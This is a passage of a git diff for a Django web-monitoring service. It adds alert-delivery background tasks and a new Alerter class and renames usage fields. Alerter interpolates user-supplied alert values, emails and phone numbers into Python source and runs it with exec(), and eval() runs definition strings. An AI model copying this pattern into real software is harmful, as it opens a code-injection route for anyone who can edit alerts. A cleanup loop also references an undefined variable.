+        meta['last_usage_reset'] = today.strftime(f)
+        account.meta = meta
         account.save()
+        return None
+
 
     # loop through each
     for account in accounts:
@@ -1981,10 +2402,6 @@ def reset_usage(account):
                 # reset usage
                 reset_usage(account)
 
-                # update account.meta.last_usage_reset
-                account.meta = {'last_usage_reset': today.strftime(f)}
-                account.save()
-
         # check if accout is free
         if account.type == 'free':
 
@@ -2006,9 +2423,6 @@ def reset_usage(account):
                     # reset usage
                     reset_usage(account)
 
-                    # update account.meta.last_usage_reset
-                    account.meta = {'last_usage_reset': today.strftime(f)}
-                    account.save()
             
     return None
 
@@ -2016,14 +2430,14 @@ def reset_usage(account):
 
 
 @shared_task
-def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
+def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
     """ 
     Update price for existing stripe Subscription 
-    based on new `Account.max_sites`
+    based on new `Account.usage.sites_allowed`
 
     Expects: {
-        'account_id'   : <str> (REQUIRED)   
-        'max_sites' : <int> (OPTIONAL)   
+        'account_id'       : <str> (REQUIRED)   
+        'sites_allowed'    : <int> (OPTIONAL)   
     }
 
     Returns: None
@@ -2035,14 +2449,14 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
     # get account
     account = Account.objects.get(id=account_id)
 
-    # set new max_sites
-    if max_sites is not None:
-        account.max_sites = max_sites
+    # set new sites_allowed
+    if sites_allowed is not None:
+        account.usage['sites_allowed'] = sites_allowed
         account.save()
     
-    # get max_sites
-    if max_sites is None:
-        max_sites = account.max_sites
+    # get sites_allowed
+    if sites_allowed is None:
+        sites_allowed = account.usage['sites_allowed']
 
     # get account coupon
     discount = 0
@@ -2050,17 +2464,17 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
         discount = account.meta['coupon']['discount']
 
     # calculate 
-    if max_sites <= 5:
+    if sites_allowed <= 5:
         price = 8900
-    elif max_sites > 5 and max_sites <= 10:
+    elif sites_allowed > 5 and sites_allowed <= 10:
         price = 17900
-    elif max_sites > 10 and max_sites <= 25:
+    elif sites_allowed > 10 and sites_allowed <= 25:
         price = 34900
-    elif max_sites > 25:
+    elif sites_allowed > 25:
         price = (
             ( 
-                (-0.0003 * (max_sites ** 2)) + 
-                (1.5142 * max_sites) + 325.2
+                (-0.0003 * (sites_allowed ** 2)) + 
+                (1.5142 * sites_allowed) + 325.2
             ) * 100
         )
 
@@ -2100,9 +2514,11 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
     account.price_id = price.id
     account.price_amount = 0
     account.price_amount = price_amount
-    account.usage['scans_allowed'] = (max_sites * 200)
-    account.usage['tests_allowed'] = (max_sites * 200)
-    account.usage['testcases_allowed'] = (max_sites * 100)
+    account.usage['sites'] = sites_allowed
+    account.usage['scans_allowed'] = (sites_allowed * 200)
+    account.usage['tests_allowed'] = (sites_allowed * 200)
+    account.usage['caseruns_allowed'] = (sites_allowed * 10)
+    account.usage['flowruns_allowed'] = (sites_allowed * 10)
     account.save()
 
     print(f'new price -> {price_amount}')
@@ -2116,7 +2532,7 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
-    Deletes all `Tests`, `Scans`, `Testcases`, 
+    Deletes all `Tests`, `Scans`, `CaseRuns`, 
     `Logs`, and `Processes` that have reached expiry
 
     Expects: {
@@ -2135,7 +2551,7 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     if account_id is not None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
-        testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
+        caseruns = CaseRun.objects.filter(account__id=account_id, time_created__lte=max_date)
         processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
         
         # get all old Logs
@@ -2148,7 +2564,8 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
-        testcases = Testcase.objects.filter(time_created__lte=max_date)
+        caseruns = CaseRun.objects.filter(time_created__lte=max_date)
+        flowruns = FlowRun.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
         logs = Log.objects.filter(time_created__lte=max_proc_date)
 
@@ -2159,9 +2576,11 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     for scan in scans:
         delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
         scan.delete()
-    for testcase in testcases:
-        delete_testcase_s3_bg.delay(testcase.id)
-        testcase.delete()
+    for caserun in caseruns:
+        delete_caserun_s3_bg.delay(caserun.id)
+        caserun.delete()
+    for flowrun in flowrun:
+        flowrun.delete()
     for process in processes:
         process.delete()
     for log in logs:
@@ -2191,7 +2610,7 @@ def data_retention() -> None:
         # delete old resources
         delete_old_resources.delay(
             account_id=account.id,
-            days_to_live=account.retention_days
+            days_to_live=account.usage['retention_days']
         )
     
     logger.info('Requested resource cleanup')
@@ -2245,6 +2664,7 @@ def create_prospect(user_email: str=None) -> None:
 
     # get user by id
     user = User.objects.get(email=user_email)
+    member = Member.objects.get(user=user)
 
     # get account by user
     account = Account.objects.get(user=user)
@@ -2259,7 +2679,7 @@ def create_prospect(user_email: str=None) -> None:
         'first_name': str(user.first_name),
         'last_name': str(user.last_name),
         'email': str(user.email),
-        'phone': str(account.phone),
+        'phone': str(member.phone),
         'status': 'warm',
         'source': 'app',
     }
@@ -2366,6 +2786,234 @@ def send_remove_alert_bg(member_id: str) -> None:
 
 
 
+@shared_task
+def send_phone_bg( 
+        account_id: str=None, 
+        objects: list=None,
+        phone_number: str=None, 
+        body: str=None,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> dict:
+    """ 
+    Run `Alerts.send_phone` as a backgroud task
+
+    Expects: { 
+        'account_id'    : str, 
+        'objects'       : str,
+        'phone_number'  : str,
+        'body'          : str,
+        'flowrun_id'    : str,
+        'node_index'    : str,
+    }
+
+    Returns: None
+    """
+
+    # interating through objects
+    for obj in objects:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+
+        # run send_phone
+        resp = send_phone( 
+            account_id=account_id, 
+            object_id=obj['id'], 
+            phone_number=phone_number, 
+            body=body,
+        )
+        
+        if flowrun_id and flowrun_id != 'None':
+            # update flowrun
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': resp.get('message'),
+                'objects': [{
+                    'parent': obj['parent'],
+                    'id': obj['id'], 
+                    'status': 'passed' if resp.get('success') else 'failed'
+                }]
+            })
+
+    logger.info('sent phone message')
+    return None
+
+
+
+
+@shared_task
+def send_slack_bg( 
+        account_id: str=None, 
+        objects: list=None, 
+        body: str=None,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> dict:
+    """ 
+    Run `Alerts.send_slack` as a backgroud task
+
+    Expects: { 
+        'account_id'    : str, 
+        'objects'       : list,
+        'body'          : str,
+        'flowrun_id'    : str,
+        'node_index'    : str,
+    }
+
+    Returns: None
+    """
+
+    # interating through objects
+    for obj in objects:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+
+        # run send_slack
+        resp = send_slack( 
+            account_id=account_id, 
+            object_id=obj['id'], 
+            body=body,
+        )
+        
+        if flowrun_id and flowrun_id != 'None':
+            # update flowrun
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': resp.get('message'),
+                'objects': [{
+                    'parent': obj['parent'],
+                    'id': obj['id'], 
+                    'status': 'passed' if resp.get('success') else 'failed'
+                }]
+            })
+
+    logger.info('sent slack message')
+    return None
+
+
+
+
+@shared_task
+def send_email_bg( 
+        account_id: str=None, 
+        objects: list=None, 
+        message_obj: dict=None,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> dict:
+    """ 
+    Run `Alerts.sendgrid_email` as a backgroud task
+
+    Expects: { 
+        'account_id'    : str, 
+        'objects'       : list,
+        'message_obj'   : dict,
+        'flowrun_id'    : str,
+        'node_index'    : str,
+    }
+
+    Returns: None
+    """
+
+    # interating through objects
+    for obj in objects:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+
+        # run sendgrid_email
+        resp = sendgrid_email( 
+            account_id=account_id, 
+            object_id=obj['id'], 
+            message_obj=message_obj,
+        )
+        
+        if flowrun_id and flowrun_id != 'None':
+            # update flowrun
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': resp.get('message'),
+                'objects': [{
+                    'parent': obj['parent'],
+                    'id': obj['id'], 
+                    'status': 'passed' if resp.get('success') else 'failed'
+                }]
+            })
+
+    logger.info('sent email message')
+    return None
+
+
+
+
+@shared_task
+def send_webhook_bg( 
+        account_id: str=None, 
+        objects: list=None, 
+        request_type: str=None,
+        url: str=None,
+        headers: str=None,
+        payload: str=None,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> dict:
+    """ 
+    Run `Alerts.sendgrid_email` as a backgroud task
+
+    Expects: { 
+        'account_id'    : str, 
+        'objects'       : list,
+        'request_type'  : str,
+        'url'           : str,
+        'headers'       : str,
+        'payload'       : str,
+        'flowrun_id'    : str,
+        'node_index'    : str,
+    }
+
+    Returns: None
+    """
+
+    # interating through objects
+    for obj in objects:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+    
+        # run sendgrid_email
+        resp = send_webhook( 
+            account_id=account_id, 
+            object_id=obj['id'], 
+            request_type=request_type,
+            url=url,
+            headers=headers,
+            payload=payload
+        )
+            
+        if flowrun_id and flowrun_id != 'None':
+            # update flowrun
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': resp.get('message'),
+                'objects': [{
+                    'parent': obj['parent'],
+                    'id': obj['id'], 
+                    'status': 'passed' if resp.get('success') else 'failed'
+                }]
+            })
+
+    logger.info('sent webhook message')
+    return None
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url: str, 
diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
new file mode 100644
index 00000000..af0d2023
--- /dev/null
+++ b/app/api/utils/alerter.py
@@ -0,0 +1,258 @@
+from ..models import *
+from .alerts import *
+import re, uuid
+
+
+
+
+
+
+class Alerter():
+    """ 
+    Build and execute `Alert` logic generated by a user.
+
+    Expects: {
+        'alert_id'   : str,
+        'object_id'  : str,
+        'expressions' : list
+    }
+
+    - Use `Alerter.run_alert()` to run an `Alert`
+    - Use `Alerter.get_object()` to set self.object
+    - Use `Alerter.build_expressions()` to get self.exp_string
+
+    Returns -> None
+    """
+
+
+    def __init__(
+            self, 
+            alert_id: str=None, 
+            object_id: str=None, 
+            expressions: list=[],
+            task_type: str=None
+        ):
+    
+        self.alert = Alert.objects.get(id=alert_id) if alert_id else None
+        self.expressions = self.alert.expressions if self.alert else expressions
+        self.task_type = self.alert.schedule.task_type if self.alert else task_type
+        self.object_id = object_id
+        self.exp_string = '1 == 1'
+        self.act_string = ''
+        self.object = None
+        self.use_exp = True
+
+
+
+
+    def get_object(self) -> bool:
+        """
+        Tries to get the focus object from self.object_id - if found 
+        will set self.object and self.use_exp
+
+        Returns -> None or object
+        """
+
+        if self.task_type == 'scan':
+            try:
+                self.object = Scan.objects.get(id=self.object_id)
+                self.use_exp = True
+                return self.object
+            except:
+                return None
+
+        elif self.task_type == 'test':
+            try:
+                self.object = Test.objects.get(id=self.object_id)
+                self.use_exp = True
+                return self.object
+            except:
+                return None
+        
+        elif self.task_type == 'report':
+            try:
+                self.object = Report.objects.get(id=self.object_id)
+                self.use_exp = False
+                return self.object
+            except:
+                return None
+
+        elif self.task_type == 'caserun' or self.task_type == 'case':
+            try:
+                self.object = CaseRun.objects.get(id=self.object_id)
+                self.use_exp = True
+                return self.object
+            except:
+                return None
+
+        elif self.task_type == 'flowrun' or self.task_type == 'flow':
+            try:
+                self.object = FlowRun.objects.get(id=self.object_id)
+                self.use_exp = True
+                return self.object
+            except:
+                return None
+
+        else:
+            return None      
+    
+
+
+
+    def build_expressions(self) -> None:
+        """ 
+        Loop through the self.expressions
+        and rebuilds into self.exp_string
+
+        Returns -> self.exp_string
+        """
+                
+        # begin iteration
+        for expression in self.expressions:
+
+            # set defaults
+            exp = None
+            data_type = None
+            operator = ' == '
+            joiner = ''
+            data_type = 'obj.status'
+            value = f"str('{str(expression['value'])}')"
+            exp_list = []
+            non_float_types = ['caserun_status', 'test_status', 'flowrun_status']
+
+            # get comparison value
+            if expression['data_type'] not in non_float_types:
+                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
+
+            # get operator
+            if '>=' in expression['operator']:
+                operator = ' >= '
+            elif '<=' in expression['operator']:
+                operator = ' <= '
+            else:
+                operator = ' == '
+            
+            # get joiner
+            if 'and' in expression['joiner']:
+                joiner = ' and '
+            elif 'or' in expression['joiner']:
+                joiner = ' or '
+            else:
+                joiner = ''
+
+            # get data_type translation
+            definition = get_definition(expression['data_type'])
+            if definition:
+                raw_value = definition['value']
+                data_type = f'({raw_value} if {raw_value} else 0)'
+            
+            # building exp if not defined
+            if exp is None:
+                exp = f'{joiner}{data_type}{operator}{value}'
+
+            # adding exp to exp_list
+            exp_list.append(exp)
+        
+        # build expression string
+        self.exp_string = ' '.join(exp_list)
+
+        # return exp_string
+        return self.exp_string
+
+
+
+
+    def build_actions(self) -> None:
+        """ 
+        Loop through the alert.actions
+        and rebuilds into self.act_string
+
+        Returns -> self.act_string
+        """
+
+        # defaults
+        act_list = []
+
+        # begin iteration
+        for action in self.alert.actions:
+
+            if 'slack' in action['action_type']:
+                action_type = str(
+                    f"\n  print('sending slack alert')" +
+                    f"\n  alert_slack(alert_id='{str(self.alert.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
+
+            if 'email' in action['action_type']:
+                action_type = str(
+                    f"\n  print('sending email alert')" +
+                    f"\n  alert_email(email='{action['email']}'," +
+                    f" alert_id='{str(self.alert.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
+                
+                if type(self.object).__name__ == 'Report':
+                    action_type = str(
+                        f"\n  print('sending report email')" +
+                        f"\n  alert_report_email(email='{action['email']}'," +
+                        f" alert_id='{str(self.alert.id)}'," +
+                        f" object_id='{str(self.object_id)}')"
+                    )
+            
+            if 'phone' in action['action_type']:
+                action_type = str(
+                    f"\n  print('sending phone alert')" +
+                    f"\n  alert_phone(phone_number='{action['phone']}'," +
+                    f" alert_id='{str(self.alert.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
+
+            # adding action to act_list
+            act_list.append(action_type)
+        
+        # build string
+        self.act_string = ''.join(act_list)
+        
+        # return formated actions string
+        return self.act_string
+
+
+
+
+    def run_alert(self) -> None:
+
+        # get object data
+        self.get_object()
+
+        # if obj was retrieved
+        if self.object:
+
+            # setting obj for defnitions data
+            obj = self.object
+
+            # build expressions
+            if self.use_exp:
+                self.build_expressions() 
+
+            # build actions
+            self.build_actions()
+
+            # building final exec str
+            alert_logic = f'if {self.exp_string}:{self.act_string}'
+
+            # executing alert logic
+            exec(alert_logic)
+
+        return None
+
+
+        
+
+
+
+
+        
+
+
+        
+        
\ No newline at end of file
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 8ad87a76..8f96c1c1 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -1,13 +1,15 @@
-from datetime import date
 from django.contrib.auth.models import User
 from rest_framework_simplejwt.tokens import RefreshToken
-from ..models import *
 from twilio.rest import Client
 from slack_sdk.web import WebClient
 from slack_sdk.errors import SlackApiError
 from sendgrid import SendGridAPIClient
-from sendgrid.helpers.mail import Mail, From, To
+from sendgrid.helpers.mail import *
+from ..models import *
 from cursion import settings
+from .definitions import get_definition, definitions
+from datetime import date
+from cryptography.fernet import Fernet
 import os, json, requests, uuid
 
 
@@ -36,7 +38,7 @@ def send_reset_link(email: str=None) -> dict:
         user = User.objects.get(email=email)
         token = RefreshToken.for_user(user)
         access_token = str(token.access_token)
-        reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token)
+        reset_link = str(settings.CLIENT_URL_ROOT+'/reset-password?token='+access_token)
         subject = 'Rest Password'
         title = 'Reset Password'
         pre_header = 'Reset Password'
@@ -51,7 +53,7 @@ def send_reset_link(email: str=None) -> dict:
             'pre_header' : pre_header,
             'pre_content' : pre_content,
             'object_url' : reset_link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'home_page' : settings.CLIENT_URL_ROOT,
             'button_text' : 'Rest my password',
             'content' : '',
             'signature' : '- Cheers!',
@@ -91,11 +93,17 @@ def send_invite_link(member: object=None) -> dict:
     if Member.objects.filter(email=member.email, status="pending").exists():
 
         # build email data
-        link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
+        link = (
+            f'{settings.CLIENT_URL_ROOT}/account/join?team={member.account.id}'+
+            f'&code={member.account.code}&member={member.id}&email={member.email}'
+        )
         subject = 'Cursion Invite'
         title = 'Cursion Invite'
         pre_header = 'Cursion Invite'
-        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Cursion. Now just click the link below to accept the invite!'
+        pre_content = (
+            f'A user with the email "{member.account.user.username}" invited you to join their '+
+            f'Team on Cursion. Now just click the link below to accept the invite!'
+        )
         greeting = 'Hi there,'
 
         context = {
@@ -106,7 +114,7 @@ def send_invite_link(member: object=None) -> dict:
             'pre_header' : pre_header,
             'pre_content' : pre_content,
             'object_url' : link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'home_page' : settings.CLIENT_URL_ROOT,
             'button_text' : 'Accept Invite',
             'content' : '',
             'signature' : '- Cheers!',
@@ -150,7 +158,10 @@ def send_remove_alert(member: object=None) -> dict:
         subject = 'Removed From Account'
         title = 'Removed From Account'
         pre_header = 'Removed From Account'
-        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Cursion. Please let us know if there\'s been a mistake.'
+        pre_content = (
+            f'A user with the email "{member.account.user.username}" removed you '+
+            f'from their Team on Cursion. Please let us know if there\'s been a mistake.'
+        )
         greeting = 'Hi there,'
 
         context = {
@@ -161,7 +172,7 @@ def send_remove_alert(member: object=None) -> dict:
             'pre_header' : pre_header,
             'pre_content' : pre_content,
             'object_url' : None,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'home_page' : settings.CLIENT_URL_ROOT,
             'content' : '',
             'signature' : '- Cheers!',
         }
@@ -186,14 +197,14 @@ def send_remove_alert(member: object=None) -> dict:
 
 
 
-def create_exp(item: object=None, automation: object=None) -> dict:
+def create_exp(obj: object=None, alert: object=None) -> dict:
     """ 
     Builds an expression list (exp_list = []) based 
-    on the passed 'item' and `Automation`.
+    on the passed 'obj' and `Alert`.
 
     Expects: {
-        'item'       :  object (Scan, Test, Testcase),
-        'automation' :  object
+        'obj'   :  object (Scan, Test, CaseRun, FlowRun),
+        'alert' :  object
     }
 
     Returns -> data: {
@@ -206,166 +217,42 @@ def create_exp(item: object=None, automation: object=None) -> dict:
     exp_list = []
     exp_str = ''
     
-    # loop through automation expressions
-    for e in automation.expressions:
+    # loop through alert expressions
+    for e in alert.expressions:
+
+        # settign defaults
+        title = None
+        data = None
 
-        # top-level scores and data
+        # generate custom data and scores
         if 'test_score' in e['data_type']:
             title = 'Test Score'
-            data = str(round(item.score, 2))
-        elif 'test_status' in e['data_type']:
+            data = str(round(obj.score, 2))
+        if 'test_status' in e['data_type']:
             status = '❌ FAILED'
-            if item.status == 'passed':
+            if obj.status == 'passed':
                 status = '✅ PASSED'
             title = 'Test Status'
             data = status
-        elif 'testcase_status' in e['data_type']:
+        if 'caserun_status' in e['data_type']:
             status = '❌ FAILED'
             if e['value'] == 'passed':
                 status = '✅ PASSED'
-            title = f'"{item.case.name}"'
+            title = f'"{obj.title}"'
             data = status
-        elif 'current_health' in e['data_type']:
-            title = 'Health'
-            data = str(
-                (float(item.lighthouse_delta["scores"]["current_average"]) + 
-                float(item.yellowlab_delta["scores"]["current_average"])) /2
-            )
-        elif 'health' in e['data_type']:
-            title = 'Health'
-            data = str(
-                (float(item.lighthouse["scores"]["average"]) + 
-                float(item.yellowlab["scores"]["globalScore"])) /2
-            )
-        
-        # LH test data
-        elif 'current_lighthouse_average' in e['data_type']:
-            title = 'Lighthouse Average'
-            data = str(item.lighthouse_delta["scores"]["current_average"])
-        elif 'seo_delta' in e['data_type']:
-            title = 'SEO Delta'
-            data = str(item.lighthouse_delta["scores"]["seo_delta"])
-        elif 'pwa_delta' in e['data_type']:
-            title = 'PWA Delta'
-            data = str(item.lighthouse_delta["scores"]["pwa_delta"])
-        elif 'crux_delta' in e['data_type']:
-            title = 'CRUX Delta'
-            data = str(item.lighthouse_delta["scores"]["crux_delta"])
-        elif 'best_practices_delta' in e['data_type']:
-            title = 'Best Practices Delta'
-            data = str(item.lighthouse_delta["scores"]["best_practices_delta"])
-        elif 'performance_delta' in e['data_type']:
-            title = 'Performance Delta'
-            data = str(item.lighthouse_delta["scores"]["performance_delta"])
-        elif 'accessibility_delta' in e['data_type']:
-            title = 'Accessibility Delta'
-            data = str(item.lighthouse_delta["scores"]["accessibility_delta"])
-
-        # LH scan data
-        elif 'lighthouse_average' in e['data_type']:
-            title = 'Lighthouse Average'
-            data = str(item.lighthouse["scores"]["average"])
-        elif 'seo' in e['data_type']:
-            title = 'SEO'
-            data = str(item.lighthouse["scores"]["seo"])
-        elif 'pwa' in e['data_type']:
-            title = 'PWA'
-            data = str(item.lighthouse["scores"]["pwa"])
-        elif 'crux' in e['data_type']:
-            title = 'CRUX'
-            data = str(item.lighthouse["scores"]["crux"])
-        elif 'best_practices' in e['data_type']:
-            title = 'Best Practices'
-            data = str(item.lighthouse["scores"]["best_practices"])
-        elif 'performance' in e['data_type']:
-            title = 'Performance'
-            data = str(item.lighthouse["scores"]["performance"])
-        elif 'accessibility' in e['data_type']:
-            title = 'Accessibility'
-            data = str(item.lighthouse["scores"]["accessibility"])
-        
-        # yellowlab test data
-        elif 'current_yellowlab_average' in e['data_type']:
-            title = 'Yellow Lab Avg'
-            data = str(item.yellowlab_delta["scores"]["current_average"])
-        elif 'pageWeight_delta' in e['data_type']:
-            title = 'Page Weight Delta'
-            data = str(item.yellowlab_delta["scores"]["pageWeight_delta"])
-        elif 'images_delta' in e['data_type']:
-            title = 'Images Delta'
-            data = str(item.yellowlab_delta["scores"]["images_delta"])
-        elif 'domComplexity_delta' in e['data_type']:
-            title = 'DOM Complexity Delta'
-            data = str(item.yellowlab_delta["scores"]["domComplexity_delta"])
-        elif 'javascriptComplexity_delta' in e['data_type']:
-            title = 'JS Complexity Delta'
-            data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])
-        elif 'badJavascript_delta' in e['data_type']:
-            title = 'Bad JS Delta'
-            data = str(item.yellowlab_delta["scores"]["badJavascript_delta"])
-        elif 'jQuery_delta' in e['data_type']:
-            title = 'jQuery Delta'
-            data = str(item.yellowlab_delta["scores"]["jQuery_delta"])
-        elif 'cssComplexity_delta' in e['data_type']:
-            title = 'CSS Complexity Delta'
-            data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"])
-        elif 'badCSS_delta' in e['data_type']:
-            title = 'Bad CSS Delta'
-            data = str(item.yellowlab_delta["scores"]["badCSS_delta"])
-        elif 'fonts_delta' in e['data_type']:
-            title = 'Fonts Delta'
-            data = str(item.yellowlab_delta["scores"]["fonts_delta"])
-        elif 'serverConfig_delta' in e['data_type']:
-            title = 'Server Configs Delta'
-            data = str(item.yellowlab_delta["scores"]["serverConfig_delta"])
-
-        # yellowlab scan data
-        elif 'yellowlab_average' in e['data_type']:
-            title = 'Yellow Lab Avg'
-            data = str(item.yellowlab["scores"]["globalScore"])
-        elif 'pageWeight' in e['data_type']:
-            title = 'Page Weight'
-            data = str(item.yellowlab["scores"]["pageWeight"])
-        elif 'images' in e['data_type']:
-            title = 'Images'
-            data = str(item.yellowlab["scores"]["images"])
-        elif 'domComplexity' in e['data_type']:
-            title = 'DOM Complexity'
-            data = str(item.yellowlab["scores"]["domComplexity"])
-        elif 'javascriptComplexity' in e['data_type']:
-            title = 'JS Complexity'
-            data = str(item.yellowlab["scores"]["javascriptComplexity"])  
-        elif 'badJavascript' in e['data_type']:
-            title = 'Bad JS'
-            data = str(item.yellowlab["scores"]["badJavascript"])
-        elif 'jQuery' in e['data_type']:
-            title = 'jQuery'
-            data = str(item.yellowlab["scores"]["jQuery"])
-        elif 'cssComplexity' in e['data_type']:
-            title = 'CSS Complexity'
-            data = str(item.yellowlab["scores"]["cssComplexity"])
-        elif 'badCSS' in e['data_type']:
-            title = 'Bad CSS'
-            data = str(item.yellowlab["scores"]["badCSS"])
-        elif 'fonts' in e['data_type']:
-            title = 'Fonts'
-            data = str(item.yellowlab["scores"]["fonts"])
-        elif 'serverConfig' in e['data_type']:
-            title = 'Server Configs'
-            data = str(item.yellowlab["scores"]["serverConfig"])
-        
-        # image data
-        elif 'avg_image_score' in e['data_type']:
-            title = 'Avg Image Score'
-            data = str(item.images_delta["average_score"])
-        elif 'image_scores' in e['data_type']:
-            title = 'List of Image Scores'
-            data = str([i["score"] for i in item.images_delta["images"]])
-        
-        # logs data
-        elif 'logs' in e['data_type']:
-            title = 'Error Logs'
-            data = str(len(item.logs))
+        if 'flowrun_status' in e['data_type']:
+            status = '❌ FAILED'
+            if e['value'] == 'passed':
+                status = '✅ PASSED'
+            title = f'"{obj.title}"'
+            data = status
+
+        # get title and data if None
+        if title == None:
+            definition = get_definition(e['data_type'])
+            if definition:
+                title = definition['name']
+                data = str(eval(definition['value']))
         
         # create data string
         data_str = f' {title}:   {data}\n'
@@ -388,124 +275,66 @@ def create_exp(item: object=None, automation: object=None) -> dict:
 
 
 
-def create_json_data(json_data: dict=None, item: object=None) -> dict: 
+def transpose_data(string: str=None, obj: object=None, secrets: list=[]) -> dict: 
     """ 
-    Builds an expression list (exp_list = []) based 
-    on the passed 'item' and `Automation`.
+    Using 'definitions.py' replaces all vairables with definition data.
 
     Expects: {
-        'item'       :  object (Scan, Test, Testcase),
-        'automation' :  object
+        'string'    : str (to be transposed)
+        'obj'       : object (Scan, Test, CaseRun, Report),
+        'secrets'   : list (account secrets)
     }
 
-    Returns -> dict
+    Returns -> transposed string
     """
 
-    # looping through json_data to 
-    # update values with item.data
-    for key in json_data:
-
-        # high-level test score
-        if 'test_score' == json_data[key]:
-            json_data[key] = item.score
-        elif 'current_health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2)
-        elif 'avg_image_score' == json_data[key]:
-            json_data[key] = item.images_delta["average_score"]
-        elif 'image_scores' == json_data[key]:
-            json_data[key] = [i["score"] for i in item.images_delta["images"]]
-
-        # high-level scan score
-        elif 'health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2)
-        elif 'logs' == json_data[key]:
-            json_data[key] = len(item.logs)
-
-        # LH test data
-        elif 'seo_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["seo_delta"]
-        elif 'pwa_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["pwa_delta"]
-        elif 'crux_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["crux_delta"]
-        elif 'best_practices_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"]
-        elif 'performance_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["performance_delta"]
-        elif 'accessibility_delta' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"]
-        elif 'current_lighthouse_average' == json_data[key]:
-            json_data[key] = item.lighthouse_delta["scores"]["current_average"]
-        
-        # LH scan data
-        elif 'seo' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["seo"]
-        elif 'pwa' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["pwa"]
-        elif 'crux' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["crux"]
-        elif 'best_practice' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["best_practices"]
-        elif 'performance' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["performance"]
-        elif 'accessibility' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["accessibility"]
-
-        # YL test data
-        elif 'current_yellowlab_average' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["current_average"]
-        elif 'pageWeight_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"]
-        elif 'images_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["images_delta"]
-        elif 'domComplexity_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"]
-        elif 'javascriptComplexity_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["javascriptComplexity_delta"]
-        elif 'badJavascript_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["badJavascript_delta"]
-        elif 'jQuery_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["jQuery_delta"]
-        elif 'cssComplexity_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["cssComplexity_delta"]
-        elif 'badCSS_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["badCSS_delta"]
-        elif 'fonts_delta' == json_data[key]:
